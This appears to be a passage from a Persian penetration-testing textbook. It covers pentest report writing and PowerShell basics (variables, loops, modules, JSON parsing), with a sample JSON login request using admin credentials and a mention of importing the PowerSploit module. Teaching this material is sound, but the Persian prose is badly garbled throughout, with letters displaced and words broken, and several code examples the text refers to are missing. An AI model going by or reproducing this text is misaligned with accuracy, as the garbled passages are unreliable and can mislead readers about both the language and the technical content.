 دهد.ی ها ارائه م ستم یانواع مختلف س  یانجام تست نفوذ برا  ی برا ییمنتشر کرده است که راهنما

و به روز شوند.    افته ینکته مهم است که استانداردها و چارچوب ها ممکن است در طول زمان تکامل    ن یتوجه به ا

  ی ها و هرگونه افزودننسخه   نیها، آخرروش   نیروزتراز مطابقت با به   نانیاطم  ی است که برا  یخوب   دهیا  ن،یبنابرا

 . د یکن یتست نفوذ را بررس  نه ی در زم د یجد 

Report writing 

  یکنند. هنگامی تست نفوذ هستند که مراحل تست فعال را دنبال م  ند یفرآ   یاتیح  یو گزارش اجزا   لیو تحل  هیتجز

و    لیو تحل   هی رساند، به مرحله تجز  انیرا به پا  یبردار بهره  یهات یفعال  ریو سا  ی، اسکن، دسترس گر که تست نفوذ

  ی ابیو مشاهدات انجام شده در طول ارزها  افته ی  یو مستندساز  ر یتفس  ،یمرحله بر سازمانده  ن ی. ارودی گزارش م 

 :شودپرداخته می و گزارش در تست نفوذ  لیو تحل  هی مرحله تجز ی د یکل یهاجنبه  ادامه بهتمرکز دارد. در 

Findings analysis:    داده انگرنفوذتست ارز  شدهی آورجمع   یها،  طول  نتا  ،یابیدر  جمله  اسکن   جیاز 

ها  افتهیها  . آن کند ی م  یطور کامل بررس را به   گریو هر گونه اطلاعات مرتبط د  یبردار بهره  یهاگزارش   ،یریپذ بیآس 

 یی شناسا  یهایریپذ بیهدف و خطرات بالقوه مرتبط با آس   ستمیبر س   ر ی، تأثCompromise  زان یدرک م  یرا برا

با استفاده    میتوانی شوند. ما م   یبند  تیو اولو  ی طبقه بند   د یها بای ریپذ بیکنند. تمام آس ی م لی و تحل  ه ی شده تجز

س  ا  CVSS  یازدهیامت  ستمیاز  دست    نیبه  تجزمیابیامر  تحل  هی .  اصلاح    د یبا  ن یهمچن  لیو  نحوه  شامل 

 شده باشد. ییشناسا یهایریپذ بیآس 
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Risk assessment:  تأث  نفوذگر   تست و  آس   ر یشدت  ارز  یهایریپذ ب یبالقوه  را  ای م  ی ابیکشف شده    ن یکند. 

  ی مهاجم برا  از یسازمان و سطح تلاش مورد ن  ای  ستمیبه س   یاحتمال  بیاحتمال سوء استفاده، آس   یابیشامل ارز

آس  از  استفاده  تخص شودی م  هایریپذ ب یسوء  با    یبند ت یاولوبه    کننده شی آزما  سک، یر  از یامت  ا ی  یبند رتبه   صی. 

 .کند ی ها کمک مآن  تیبر اساس اهم شدهییشناسا یهایریپذ بیآس 

Recommendations:  تجز اساس  تحل  ه ی بر  ارز  هاافته ی  ل یو  نفوذ  سک، یر  ی ابیو    ی برا  ییهاه یتوص  گرتست 

ارائه م  ی راهبردها   ی هایریپذ ب یرفع آس   یبرا  یخاص  یهااغلب شامل گام   هاه ی توص  ن ی. اکند ی اصلاح و کاهش 

قابل    ، ید عملیها باه یسازمان است. توص  ی کل  یت یامن  ت یوضع  ی و ارتقا  ی ت یامن  یهابهبود کنترل   شده،ییشناسا

 باشد. ی اجرا و همسو با اهداف و الزامات مشتر

Reporting: ن یو جامع است. ا  قی گزارش دق  کی  جاد یو گزارش شامل ا  ل یو تحل  ه یدر مرحله تجز  ییمرحله نها  

  ی اب یارز  جیها، نتاافته یاز    یاخلاصه   ،ی ابیروش مورد استفاده، دامنه ارز  ، ییخلاصه اجرا  ک یگزارش معمولاً شامل  

  ی قابل درک باشد و برا  یبه راحت   ، شود  یسازمانده  یبه خوب  د یبا  ن یشده است. ا  هیتوص  یو اقدامات اصلاح   سکیر

گزارش   ن یشود. هدف ا میباشد، تنظ  نفعانیو ذ تیریمد   ، یمخاطبان مورد نظر، که ممکن است شامل کارکنان فن

 ها است.به آن  یدگیرس  ی برا یی و راهنما  یت یامن یهااز ضعف  ی ارائه درک روشن

تجز تحل  ه ی مرحله  اطم  ل یو  ا   نانیو گزارش در حصول  به    یهاافته ی  نکهیاز  به طور موثر  نفوذ  از آزمون  حاصل 

م  نفعان یذ  ای  ی مشتر ا  اریشود، بسی مربوطه منتقل  م   نیمهم است.  قادر  را  تا آس یسازمان   ی هایریپذ ب یسازد 

 اتخاذ کند.  یت یامن یو بهبودها  سکیرا در مورد کاهش ر یاآگاهانه  ماتیرا درک کند و تصم یتیامن

  ی امن ضرور  ط یمح  ک یشده و حفظ    ه یتوص  ی موثر اقدامات اصلاح  ی اجرا  ل یتسه  ی گزارش شفاف و مختصر برا

به روشن شدن هر گونه سؤال    تواند ی مرحله م   نیدر ا  یو مشتر   گر نفوذ  تست  نیمنظم ب  ی است. ارتباط و همکار

 حاصل کند.  نانیاطم  یابیارز جیکمک کند و از درک مشترک نتا ینگران ای

نها تحل  هی مرحله تجز  ت،یدر  به سازمان   لیو  مو گزارش  زم  کند ی ها کمک  را شناسا  یهانه یتا  کنند،    ییبهبود 

اطلاعات    ن یخود را ارتقا دهند. ا  ی بریسا  تیامن  یکل   ت یکنند و وضع  یبند ت یرا اولو  یت یامن  یهای گذارهیسرما

  ی را برا  رانهیشگ یو اقدامات پ  دهد ی م  رائهشده اکشف   یهاو ضعف   هایریپذ بیرا در مورد آس   یارزشمند   نشیب

 . سازدی م ریپذ امکان  یواقع ی ایر حملات دنو محافظت در براب  یتیدفاع امن  ت یتقو

Summary 

و مورد    ف یهنگام انجام تست نفوذ را تعر  ازیمورد ن  ی و نرم افزار  یاخلاق   ،یقانون   یهافصل، مهارت   ن یدر ا

کنند، همراه    فایتوانند در هر مرحله از تست نفوذ ا ی مختلف م   نفعانیرا که ذ  ی. ما نقشمیبحث قرار داد
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تست نفوذ را با استفاده    یفن  یاجرا   مراحل. ما  می که شامل تست نفوذ هستند، مورد بحث قرار داد  یمختلفبا مراحل  

  کنند ی م فایمختلف ا  یقانون  یهاکه استانداردها و چارچوب   ییهانقش   فی تعر  نیو همچن Cyber Kill Chainاز  

 . میکرد یبررس 

فصل قصد    نیدهد. ای ارائه م  PowerShellبا استفاده از    یسیبرنامه نو  یکوتاه برا   یمقدمه فن   کی  یفصل بعد 

است   PowerShellمختلف  ی اجزا حیباشد، بلکه به منظور تشر هی از اصول اول PowerShellبر  یاندارد مقدمه 

 کرد.   میها استفاده خواهاز آن  ی بعد  یهاکه در فصل 
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 Programming Principles in PowerShell -  فصل دوم

ها از به داده  دنیو معنا بخش  یاستخراج، دستکار ییاست. توانا تیموفق اتیح ه یتست نفوذ، اطلاعات ما ی ایدر دن

م  به معنای منابع مختلف  ب  یتواند  امن  ک ی  ن یتفاوت  ا  ستم یس   ک یو    یتینقض  در  باشد.  به    ن یامن  فصل مهم، 

و ارتباط    ،یسینوپتیو زبان اسکر  کروسافتیکاره مافرمان همه، پوسته خط  PowerShellقدرتمند    یهاتیقابل

فصل    ن یداده در ا  یها. فرمتمیپردازی م   XML  و   JSONمهارت آن در برخورد با    ژهیوآن با تست نفوذ، به   قیعم

 :، عبارتند ازمیپردازی م  ریبه موارد ز

• PowerShell’s versatility in penetration testing 

• Navigating JSON and XML with PowerShell 

• Automation, integration, and reporting 

PowerShell  به    گراننفوذ   برای تست  مناسبیخود را به عنوان ابزار    گاهیجا  لازم،   یی و کارا  یسازگار  لیبه دل

  ن ی رخوردار است. اب  ییبالا  تیاز اهم  نه ی زم  ن یدر ا  XMLو    JSONگسترده آن از    یبانیدست آورده است. پشت

وب    یهاسیسرو  ایها  برنامه   ها،ستم یدر س   یاتیاطلاعات ح  یداده در همه جا وجود دارند و اغلب حاو  یهافرمت 

 کامل در طول تست نفوذ دارند.  لیو تحل  هی به تجز ازیهستند که ن

  ی ها و عملکردها  cmdletاز    ی که چگونه مجموعه غن  می کن  ی کرد تا بررس   م یرا آغاز خواه  ی فصل، ما سفر  ن یدر ا

PowerShell  ،یهاتا داده   سازدی را قادر م  تست نفوذگر  JSON    وXML    و    هی تجز  ش،یمایپ  کپارچهی را به طور

  ی عمل  نشیخام و ب  یهاداده  نیب  یپل  ان به عنو  PowerShellکرد که چگونه    میکنند. ما کشف خواه  یدستکار

، به  XML یهایکربند یپ حی گرفته تا تشر  JSON یهااستخراج اطلاعات حساس مدفون در پاسخد. از گیر ی م قرار

 .افتی د یدست خواه ،هات یقابل نیاز نحوه استفاده مؤثر از ا یدرک جامع

و گزارش    یساز  کپارچهی  ون،یاتوماس   قیاز طر   PowerShellرا که    ی میارزش عظ  م،یکنی م   شرفتیهمانطور که پ

با    PowerShellمعمول، ادغام    ف یوظا  یکرد. ما نحوه خودکارساز  م یآورد، کشف خواهی ساده به جدول م  یده

و    JSON  یهانفعان را با پردازش داده یذ  یبرا   مناسب  یها گزارش   جادی تست نفوذ، و ا  یهاابزارها و چارچوب   ریسا

XML  کرد.  م یکشف خواه 

ا ن  یهافصل، ما شما را به دانش و مهارت   نیدر  از    یبرا  ازیمورد  سلاح    ک یبه عنوان    PowerShellاستفاده 

م مجهز  نفوذ خود  تست  زرادخانه  در  برامیکنی قدرتمند  داده   ی.  قدرت  از  ظرافت، کشف  استفاده  و  دقت  با  ها 

 . د یهدف خود آماده شو یهاستمیس  تی امن ت یها و تقویریپذ بیآس 

 است: ر ید به شرح زها پرداخته خواهد ش فصل به آن  نیکه در ا  یموضوعات
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• Basic concepts of PowerShell and pipeline in PowerShell 

• JSON in PowerShell 

• XML in PowerShell 

• Component Object Model (COM), Windows Management Instrumentation 

(WMI), and .NET in PowerShell 

Basic concepts of PowerShell and pipelines in PowerShell 

PowerShell   و ساده    ی ادار  فیوظا  یخودکارساز  ی همه کاره و قدرتمند است که برا  ی سیزبان برنامه نو  کی

  کروسافت یشده است. پاورشل که در ابتدا توسط ما  یطراح  ندوزیو  یهاط یمح  یایدر دن  ده یچیپ  ی ندهایفرآ  یساز

  ی متخصصان فناور  نیگسترده و سهولت استفاده به سرعت در ب   یهات یقابل  ل یمنتشر شد، به دل  2006در سال  

  ی سنت  یها   Shellفراتر از    بسیار   PowerShellکرد.    دای پ  تیو توسعه دهندگان محبوب  ستمیس   رانیاطلاعات، مد 

ترک با    ک ی  ب یبا  فرمان  نو  ک یرابط خط  برنامه  م  یس یزبان  عنوان  ابد یی گسترش  به  نو  ک ی.  برنامه    ی سیزبان 

 کند:ی م یبانیپشت ریز یاز ساختارها PowerShell استاندارد،

• Sequence 

• Selection 

• Iteration 

• Encapsulation 

  ی با اجزا  یساز  کپارچهیساخته شده است و امکان    Net Framework.  یبر رو   PowerShellدر هسته خود،  

  یهاآن از زبان  یسینوپتیو اسکر   ی نحو   یهات یکند. قابلی شخص ثالث را فراهم م   یهاو کتابخانه   ندوز ی و  ستمیس 

  کروسافت یما  ستم یآشنا با اکوس   دهندگانتوسعه   ی و آن را برا  شودی گرفته م  تیشارپ به عار  ی مانند س   ی محبوب

توانند به لطف مدل  ی ندارند، م یاگسترده   یسیکه دانش برنامه نو  یکسان ی حال، حت  ن ی. با اکند ی قابل دسترس م

 استفاده کنند. PowerShellآن، از قدرت   یبصر  یسینو پتیاسکر

  افتهیساخت  یهاآسان داده  یو دستکار اءیاش  تیریآن در مد  ییتوانا  PowerShellبرجسته  یهای ژگیاز و  یکی

  PowerShellسروکار دارند،    یمتن   یهاانیکه عمدتاً با جر  یسنت  Shell  ی سینو  پتیاسکر  یهااست. برخلاف زبان 

ها را  داده   یگرا دستکاریش   کرد یرو  نیرد. ایگی ها در نظر ممتد و    ها  Propertyبا    ییایاطلاعات را به عنوان اش 

عمل  نموده ساده   پذ   دهی چیپ  اتیو  امکان  را  کد  حداقل  مجموعه    یدارا  نیهمچن  PowerShellکند.  ی م  ریبا 

پ  cmdletاز    یاگسترده  از  که دستورات  است  شده  شیها  ط   یبرا  یاساخته  وظا  یاگسترده   فیانجام    ف یاز 

آرا  هستند.  ستم یس   تیریمد  م   یها  cmdletاز    ی عیوس   ه یبا  کاربران  وظای موجود،  مانند    ی فیتوانند 
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از ابتدا   یبه نوشتن کد سفارش  ازیشبکه را بدون ن یکربند یو پ یستر یرج یدستکار ند، یکنترل فرآ ل،یفا تیریمد 

 انجام دهند. 

ا بر  س   PowerShell  ن،یعلاوه  به  نم  ندوزیو  یهاستم یتنها  ظهور  ی محدود  با    PowerShell Coreشود. 

  گر یو د  macOS  ،Linuxاز    ی بانیپشت  کروسافتیشود(، مای شناخته منیز    PowerShell 7به عنوان    نی)همچن

به  پلتفرم  را  آن  و  داد  گسترش  را  پلتفرم  کیها  چند  واقعاً  حل  برا  لیتبد   یراه  رو   نیا  یکرد.  ما    ی کتاب، 

PowerShell 7 میکنی تمرکز م .PowerShell 7  د یکن   دایپ ریز  نکیدر ل  د یتوانیرا م: 

 https://github. com/PowerShell/PowerShell. 

راه    ک یبه عنوان    PowerShellشود،  ی م  یاطلاعات ضرور  یمدرن فناور   یهاط یدر مح  ونیهمانطور که اتوماس 

در زمان ارزشمند    ییو صرفه جو  یانسان  یکاهش خطا  ،ی تکرار   یکارها  یو خودکارساز  یهماهنگ   یبرا  شرویحل پ

ها، آن را به    cmdletگرا و مجموعه گسترده  ی ش   کردیرو  ، یغن  ی سینو  پتیاسکر  یهات یشود. قابلی برجسته م 

 کرده است.  لیتبد   ندوزیبر و یمبتن  یهاستمیموثر س  یو نگهدار  تیریمد  ی برا ی ضرور یابزار

  ی با بررس   میتوانی . ما م میکه در حال اجراست شروع کن   PowerShellنسخه    ییبا شناسا  د یاجازه ده  ن،یبنابرا

 :میابیامر دست   نیبه ا PSVersionTable$ ی محل ریمتغ

 

  یی اجرا  استیما درک س   یقدم بعد   م،یدانی هدف را م   ستمیس   یدر حال اجرا بر رو   PowerShellاکنون که نسخه  

موارد    م یتوانی هدف م  نیبه ا  دن یرس   ی . براکند ی م  یسازاده یپ  PowerShell  یهاپتیاسکر  ی است که هدف برا

 : میرا اجرا کن ریز
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PowerShell  یهاپتیاسکر  یاجرا  یی است. توانا  یسیزبان برنامه نو  ک ی  PowerShell  ن یتوان در ماش ی را م  

 : می استفاده کن ریاز دستور ز م یتوانی م PowerShellفعال کردن  یکرد. برا  رفعالیغ ایفعال   یمحل

 

را    ییهاماژول   د یبا  م،یکرد جادیمورد نظر ا  ستم یرا در س   PowerShell  یهاپتیاسکر  یاجرا  یی که توانا  یهنگام

برا شناسا  یکه  هستند  ما  دسترس  در  نصب  و  برامیکن  ییدانلود  افزار،    یبانیپشت  ی .  نرم  از  مجدد  استفاده  از 

PowerShell   ماز ماژول از دستور    یهاول همه ماژ  م یتوانی کند. ما می ها استفاده  با استفاده  -findموجود را 

module  نه یرا با استفاده از گز  ی د یکلمه کل  ک ی  یماژول حاو  کی   توانی که م   ییجا   م، یفهرست کن  tag    به

 جستجو کرد:  ر یصورت ز

 

آن را دانلود و   Install-Moduleبا استفاده از دستور  م یتوانی م م، یکرد ییشناسامورد نظر را  که ماژول  یهنگام

 :میکنی را دانلود و نصب م SSHدر ادامه ماژول    نی. بنابرامی نصب کن

 

ها را از    cmdletیا    . در ادامه توابع میکن  Import  ماًیرا مستق   PowerShellماژول    کی  م یتوانی م  نیهمچنما  

دستور را در    نیا  د ی، باPowerShellماژول    ک ینصب    ی . برامیکنی م  PowerSploit.psd1  ،Importماژول  

PowerShell  سطح دسترسیبا administrator  یاroot د یاجرا کن : 
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-cmdlet Get  قیرا که از طر  ییها  cmdletیا    توابع  م یتوانی م  م،یماژول را وارد کن  کی  میتوانی که ما م  یهنگام

Command  در ادامه، از  میکن  ید، بررس شونی م  یبانیپشت .cmdlet Get-Command  توابع    ییشناسا  یبرا

 کرد:  م یاستفاده خواه SSHشده توسط ماژول   یبانیپشت

 

. در ادامه  میکن  ییشناسا  get-helpرا با استفاده از دستور    PowerShellنحوه استفاده از ماژول    میتوانی ما م

 کرد:  م یخواه بررسیرا  Get-Locationنحوه استفاده از  

 

مرتبط با پاورشل    ی سیبرنامه نو  یبه ساختارها  د یاجازه ده  م، یها را آموختاکنون که نحوه نصب پاورشل و ماژول 

انواع داده   رها ی، متغPowerShell 7. در  میندازیب  ینگاه ها داده   ی و دستکار  یسازره یدر ذخ  یها نقش مهمو 

متغ محفظه به   رها یدارند.  حال  کنند، ی م  لعم  ریمقاد   ینگهدار  یبرا  ییهاعنوان  داده   یدر  انواع  ماهکه  و    تیها 

  ی سینو  پتیاسکر  یها براو انواع داده  رهای . درک نحوه کار با متغکنند ی م   فی را تعر  شدهره یذخ  یهاداده   یهای ژگیو

 است. یموثر اساس  ونیو اتوماس 

  ا یپو  پیزبان تا  ک ی  PowerShellشوند.  ی م  جادیا  ریو نام متغ   $با استفاده از نماد    PowerShellدر    رهایمتغ

. نوع داده بر اساس  ستیقبل از استفاده از آن ن   ر یمتغ  ک ینوع داده   حیصر  ف یبه تعر ی ازیکه ن  ی معن نیاست، به ا

  ری به شرح ز  PowerShellدر    ج یرا  یهاداده   اع از انو  ی شود. برخ ی م  ن ییتع  ر یداده شده به متغ  ص یمقدار تخص

 است: 

Boolean :تواند ی م ی بول ریمتغ  کیشود. ی استفاده م ینریحالت با  ف یتعر  یبرا  نیاTrue ای  False .باشد 

Strings  :تک کوتیشن یا دابل  توان با استفاده از  یها را مشود. آن ی کاراکترها استفاده م  ایمتن    رهیذخ  ی برا  نیا

 کرد:  ف یتعر  کوتیشن
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$name = "Andrew Blyth" 

Integers :شود:ی اعداد کامل استفاده م  رهیذخ ی برا ن یا 

$age = 57 

Arrays :شود: ی استفاده م ریمتغ  کی مقدار در  نیچند  رهیذخ ی برا ن یا 

$myfruits = @("apple", "banana", "orange") 

Hash tables :یهاجفت  ره یذخ  یها بران یا Key/Value شوند:ی استفاده م 

$person = @{ 
       Name = "Andrew Blyth" 
       Age = 57} 

ها را به طور موثر  سازد تا داده ی شما را قادر م PowerShell 7ها به طور موثر در و انواع داده رهایاستفاده از متغ

  ت یریمد   ون،یاتوماس   یقدرتمند برا  یو آن را به ابزار   د یکن  تیریو مد   یدستکار  ره،یخود ذخ  یهاپتیدر اسکر

 کند.ی م ل یپردازش داده تبد  فیو وظا ستمیس 

از کد    یخاص  یهادهد تا بلوک ی است که به شما اجازه م  یاساس   ی ساختار کنترل  کی  if، دستور  PowerShellدر  

  ف یوظا  یها و خودکارسازپتیدر اسکر  یر یگ  می تصم  یمعمولاً برا این دستور  .  د یخاص اجرا کن  ط یرا بر اساس شرا

 ساده است:  ifدستور    مربوط به Syntaxشود. ی استفاده م

if (condition) { 
        # Code block to execute if the condition is true 
} 

استفاده کرد. فرض    PowerShellتوان در  ی را م  ifچگونه دستور    میتا نشان ده   میکن   ی چند مثال را بررس   د ییایب

اغلب    Test-Path.  ریخ  ا یوجود دارد    ل یفا  ک ی  ایکه آ د یکن  ی بررس   ی قبل از انجام اقدامات بعد   د یخواهی م  د یکن

 شود: یاستفاده م  ifهمراه با دستور 
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$file = "C:\mydatafile.txt" 
if (Test-Path $file) { 
        Write-Host "The file exists!" 
} else { 
        Write-Host "File not found."} 

حلقه PowerShellدر   ساختارها،  و  ساختارها  یها  امکان    یات یح  یکنترل  انیجر  یتکرار  شما  به  که  هستند 

  ی خودکارساز   یها براحلقه   نی. اد یمشخص شده اجرا کن  ط یبلوک کد را به طور مکرر بر اساس شرا  کی  دهند ی م

هستند.    یاتیاست، ح  یتکرار  یهااتیها و انجام عملها، پردازش دادهمجموعه   قیکه شامل تکرار از طر  یفیوظا

PowerShell  ساختار حلقه مانند  نیچندfor ،foreach  ،while  ،do...while    دهد که ما  ی را ارائه م غیرهو

 : نمودها به طور موثر استفاده توان از آن ی چگونه م میکرد تا بفهم  م یخواه ی بررس  ییهابا مثال

for : حلقهfor که تعداد    ی معمولاً زمان. این دستور شودی استفاده م یبلوک کد در تعداد مشخص  کی  ی اجرا ی برا

عبارت تکرار   ک یشرط و   کی  ه،یمقدار اول ک یشامل  for. ، بسیار مفید استد یدانیرا م  از یمورد ن ی تکرارها ق یدق

 است: 

for ($i = 1; $i -le 5; $i++) { 
      Write-Host "For loop iteration: $i"} 

foreach  :  حلقهforeach  کی( و انجام  رهیها و غستی ها، ل ه یمجموعه )آرا  ک ی   یهاتم یآ  انیتکرار در م   ی برا  

 شود:ی هر عنصر در مجموعه تکرار م ق یبه طور خودکار از طر شده و استفاده  تم یهر آ یعمل برا

$fruits = @("Apple", "Banana", "Orange") 
foreach ($fruit in $fruits) { 
      Write-Host "I like $fruit"} 

while :    حلقهwhile  بماند.    ی شرط درست باق  ک یکه    ی کند تا زمانیبلوک کد را به طور مکرر اجرا م   ک یwhile  

 کند:ی م ی ابیرا ارز ط یقبل از هر تکرار به طور مداوم شرا
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$i = 1 
while ($i -le 5) { 
      Write-Host "While loop iteration: $i" 
      $i++} 

do...While:    حلقهdo...while    مانند حلقهwhile    دارد: ابتدا بلوک کد را اجرا    ید یتفاوت کل  کیاست، اما

 بار اجرا شود:  ک یکند که حلقه حداقل ی م نیتضم نیکند. ای م یرا بررس  ط یکند و سپس شرای م

$i = 1 
do { 
      Write-Host "Do...While loop iteration: $i" 
      $i++ 
} while ($i -le 5) 

ForEach-Object (Loop Pipeline):    حلقه بر  مبتن  ک ی  foreach  ،PowerShellعلاوه  بر    ی حلقه 

pipeline    از امکان م  نیدهد. ای ارائه م  ForEach-Objectبا استفاده  از طر  ییایدهد اش یبه شما    ق یرا که 

pipeline د یپردازش کن یکی یکی شوند ی منتقل م: 

$numbers = 1..5 
$numbers | ForEach-Object { 
      Write-Host "Pipeline Loop: $_"} 

PowerShell   یاز ساختارها  یغن  یامجموعه  loop/repeat  ی دهد کارهای دهد که به شما امکان می را ارائه م  

خود را به طور موثر کنترل    یهاپت یاسکر  انیو جر  کردهداده را پردازش    یهامجموعه  د،یرا خودکار کن  یتکرار

کند. هنگام  ی و قدرتمندتر م کاراتررا  اشم PowerShell یهاپتیساختارها، اسکر ن ی. درک و استفاده از انمایید 

حلقه  از  حلقه استفاده  به  باش   تینهای ب  یهاها،  داشته  توجه  برا   د یبالقوه  هم  ان یجر  ت یریمد   ی و  خود،    شه یکد 

 .د یرا درج کن continue  ای break یهاعبارت

JSON in PowerShell 

ها و  یریپذ ب یآس   ییشناسا  ی برا  ی واقع  ی ایحملات دن  یساز  ه ی است که شامل شب  یات یح  ت یفعال  ک ی تست نفوذ  

  در   یقدرتمند بوم   ی سیزبان برنامه نو  ک ی،  PowerShellشبکه است.    ای   ستمیس   ک ینقاط ضعف در  

 یهاس یسروتعامل با    ییگسترده و توانا  ونیاتوماس   یهاتیقابل  ،یریانعطاف پذ   لیبه دل  ندوز،یو  ط یمح

  PowerShellبخش، نحوه استفاده از    ن یاست. در ا  گران نفوذ  تست  ی ارزشمند برا  ی ها، ابزار   APIوب و  
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  ی ابیمانند باز  ییوهایکرد. ما سنار  م یخواه  ی بررس را  از تست نفوذ    ی به عنوان بخش  JSON  یهاداده   ت یریمد   یبرا

  ی و دستکار  JSON  اءی، استخراج اطلاعات ارزشمند از اش JSON  یهاپاسخ  ه ی وب، تجز  ی هاAPIاز    JSON  یهاداده 

 داد. می را پوشش خواه یشیاهداف آزما یبرا JSON پیلودهای

Retrieving JSON Data from Web APIs 

برا  اغلب  نفوذگران  آور  یتست  ارز  ایاطلاعات    ی جمع  با    ازین  ، یابیانجام  تعامل  از    یها  APIبه  دارند.  وب 

PowerShell  درخواست ارسال  ی توان برا ی مHTTP   بهAPIیهاداده  ی ابیها و باز JSON کار   ن یاستفاده کرد. ا

ها را  پاسخ  تیریو مد   HTTP  یهادرخواست  جادیا  ند ی، که فرآInvoke-RestMethodتوان با استفاده از ی را م

 کند، به دست آورد: ی ساده م

$repoUrl = "https://api.snowcapcyber.com/repo" 
$response = Invoke-RestMethod -Uri $repoUrl 
$response 

مشخص شده    URLبه    InvokeRestMethodرا با استفاده از    HTTP GETدرخواست    ک یمثال، ما    نیدر ا

م قالب  میکنی ارسال  در  پاسخ   .JSON    و بود  به    PowerShellخواهد  را  آن  خودکار  طور    ی ش   ک یبه 

PowerShell  خواهد کردتر ها را آسان داده   یو دستکار  یامر دسترس  نیکند. ای م لیتبد . 

Parsing JSON Data 

 ،PowerShellشود.    هیاستخراج اطلاعات خاص تجز  یبرابایست  این اطلاعات می ،  JSON  یهاداده   یابیپس از باز

ConvertFrom-Json  یهاداده   لیتبد   یرا برا  JSON   اءیبه اش  PowerShell  به    یدسترس   ایجاد نموده که

مخزن را    حات یو توض  نام تا    نموده   ه یتجز  API GitHubرا از    JSONپاسخ    د ییایکند. بی عناصر جداگانه را آسان م

 : میاستخراج کن 

$repoUrl = "https://api.snowcapcyber.com/repo" 
$response = Invoke-RestMethod -Uri $repoUrl 
$repoObject = ConvertFrom-Json $response 
Write-Host "Repository Name: $($repoObject.name)" 
Write-Host "Description: $($repoObject.description)" 
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ا از    نیدر  ما  نام    PowerShell  یش   ک یبه    JSONپاسخ    لیتبد   یبرا   ConvertFrom-Jsonمثال،  به 

$repoObject   حات یمانند نام مخزن و توض  ،یاز ش   یخاص  یهای ژگیبه و  میتوانی . سپس ممیکنیاستفاده م  

 . میداشته باش  یدسترس 

JSON Manipulation for Payloads 

دستکار نفوذ،  تست  طول  به   یضرور     JSON  یهاداده   ی در  ساخت    ژه یواست،    ش یآزما  ی برا   پیلودهاهنگام 

  پیلود   کی  د ییایاصلاح و ارسال کند. ب  جاد،یرا ا  JSON  پیلودهای  یتواند به راحتی م  PowerShellوب.    یهابرنامه 

JSON  درخواست   ک ی یبراHTTP POST  کیبه  API  می کن جادیا ریپذ بیآس : 

$payload = @{ 
      "username" = "admin" 
      "password" = "P@ssw0rd123" 
} | ConvertTo-Json 
$headers = @{ 
      "Content-Type" = "application/json" } 
Invoke-RestMethod -Uri "https://snowcapcyber.com/api/login" -Method 
Post -Body $payload -Headers $headers 

.  میکنی م   فیو رمز عبور تعر  ینام کاربر  یلدهایرا با ف  payload$به نام    PowerShellمثال، جدول هش    نیدر ا

از به    لیتبد   یبرا    ConvertTo-Jsonسپس  هش  م  JSON  پیلود   ک یجدول  -Invoke.  میکنی استفاده 

RestMethod ،  پیلود JSON  درخواست   ک یرا درHTTP POST  بهAPI   کند.ی م ارسالمشخص شده 

مقدار است که به  -د یکل   یها از جفت   یامجموعه یا جدول هش،    Hash Table  کی ،  PowerShellدر    نکته:

  ن ی. در اد یکن  رهیمانند، ذخ  ی کشنریو به صورت د  افته یها را به صورت ساختارکه داده   دهد ی امکان را م  نیشما ا

کل  hash table  ک ی  $payloadمثال،   جفت  دو  شامل  که  ) -د یاست  (  passwordو    usernameمقدار 

   .باشد می 

Interacting with JSON from Files 

  یبرا  یآسان  یهاراه   PowerShellها سروکار دارند.  لی شده در فا  رهیذخ  JSON  یهااغلب با داده   گراننفوذ   تست

داده  نوشتن  و  فا  JSON  یهاخواندن  م  هال یبه/از  بکند ی ارائه  از    JSON  یهاداده   د ییای.    ل یفا  کیرا 

 : می کن ره یذخ لیو سپس آن را در فا نموده اضافه  د یجد  یژگ یو  کی  م،یبخوان
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$jsonFilePath = "C:\path\to\file.json" 
$jsonData = Get-Content -Raw -Path $jsonFilePath | ConvertFrom-Json 
 
# Add a new property 
$jsonData | Add-Member -Name "role" -Value "admin" 
 
# Save updated JSON back to the file 
$jsonData | ConvertTo-Json | Set-Content -Path $jsonFilePath 

  Raw- پارامتر  در این مثال  .  میخوانی م  Get-Contentبا استفاده از    ل یفا  ک یرا از    JSON  یهامثال، داده   نیدر ا

  JSON  یشود. سپس محتوا ی رشته خوانده م   ک یاز خطوط، به عنوان    ه یآرا  کی  یکند که محتوا به جای م  نیتضم

از    ، یبه ش   د یجد   یژگ یو  ک ی  زودن. پس از افمیکنی م  ل یتبد   jsonData$به نام    PowerShell  یش   ک یرا به  

ConvertTo-Json  آن به فرمت  لیتبد  یبراJSON و با استفاده از    میکنی استفاده مSet-Content    آن را در

 . میکنی م  رهیذخ لیفا

Web Scraping and Data Extraction 

  یهاداده   ی از صفحات وب حاو  یبه استخراج اطلاعات خاص  ازیممکن است ن   تست نفوذگران   وها،یاز سنار  ی در برخ

JSON    .باشند تعامل داشته  ی م  PowerShellداشته  با صفحات وب  استخراج    JSON  یباشد، محتواتواند  را 

استخراج    JSON  یهاداده   ی صفحه وب حاو  کیرا از    یاطلاعات   د یرا پردازش کند. اجازه ده  هاآن نموده و همچنین  

 : می ده شیو آن را نما  میکن

$url = "https://snowcapcyber.com/data.json" 
$response = Invoke-RestMethod -Uri $url 
$data = $response.data 
foreach ($item in $data) { 
        Write-Host "Name: $($item.name)" 
        Write-Host "Age: $($item.age)" 
        Write-Host "Occupation: $($item.occupation)" 
        Write-Host ""} 

ا از    نیدر  ما  شده    URLاز    JSON  یهاداده   یابیباز  ی برا   Invoke-RestMethodمثال،  مشخص 

 یهاکه داده   میکنی شود. ما فرض می م  رهیذخ  response$  ری. سپس پاسخ در متغمیکنی استفاده م
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JSON   یهای ژگیبا و  ایاز اش   یاه ی آرا  یحاو  Name  ،Age    وOccupation    حلقه    ک یهستند. ما ازforeach  

 . میکنی اطلاعات استخراج شده استفاده م شیو نما  هی در آرا یتکرار در هر ش  یبرا

PowerShell  یهاپردازش داده   یابزار ارزشمند برا  ک ی  JSON  ی بانیاز تست نفوذ است. پشت  ی به عنوان بخش  

، آن را به  JSON  یهاپاسخ  ه یتجز  یی وب، و توانا  یهادرخواست  جادی ، سهولت در اJSON  ی آن از دستکار  یبوم

برا  یانه یگز با    ی همه کاره    ک یکرده است. به عنوان    لیتبد   JSONبر    یوب مبتن  یهاس یها و سرو  APIکار 

  ی آورشما در جمع   ییتوانا  تواند ی م  PowerShellدر    JSON  یها، درک نحوه پردازش مؤثر داده نفوذگرتست

 دهد.   ش یافزا یقابل توجه زان یمختلف را به م  یت یامن یهای ابیو انجام ارز هایریپذ بی از آس  یبرداراطلاعات، بهره 

XML in PowerShell 

 ییشناسا ی برا یواقع یایحملات دن  ی ساز هیاست که شامل شب ی بریسا ت یدر امن ی ات یح تیفعال  کیتست نفوذ 

